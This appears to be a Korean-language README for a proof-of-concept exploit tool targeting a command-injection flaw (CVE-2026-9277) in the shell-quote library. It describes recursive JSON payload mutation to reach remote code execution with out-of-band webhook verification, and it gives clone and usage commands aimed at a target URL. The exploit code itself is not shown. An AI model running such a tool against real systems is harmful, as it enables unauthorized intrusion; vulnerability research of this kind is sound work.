
CVE-2026-9277에 대한 개념 증명 익스플로잇, shell-quote 라이브러리의 명령어 주입 취약점. RCE를 유발하기 위해 조합적 변이를 사용한 재귀적 JSON 트래버설을 수행하며, OOB 검증 및 제로-노이즈 로깅을 지원합니다.
레거시 shell-quote 라이브러리(<= 1.8.3)에서 발견된 구조적 명령 주입 취약점인 CVE-2026-9277을 검증 및 시연하기 위해 설계된 특수 PoC(Proof of Concept) 익스플로잇 스크립트입니다.
이 스캐너는 입력 JSON 페이로드에 대해 깊은 구조적 조작을 수행하여 재귀적 순회를 통해 원격 코드 실행(RCE) 벡터를 노출하며, 동적 네트워크 기준 타이밍 엔진을 사용하여 오탐을 방지합니다.
{"op": "..."} 구성 요소를 인수에서 분리하여 문자열 격리 제어를 성공적으로 우회하는 고급 대역 외 실행 레이아웃을 처리합니다.Python 3.10+ 및 필수 패키지가 설치되어 있는지 확인하세요:
git clone https://github.com/DylanZahedi/CVE-2026-9277.git
cd CVE-2026-9277
pip install requests urllib3
python CVE-2026-9277.py -u "https://example.com/command" -b '{"message_tokens": ["Hello", "from", "normal user"]}'
python CVE-2026-9277.py -u "https://example.com/command" -b '{"user": {"commands": ["a", "b"]}}' -w "https://webhook.site/your-uuid-here"
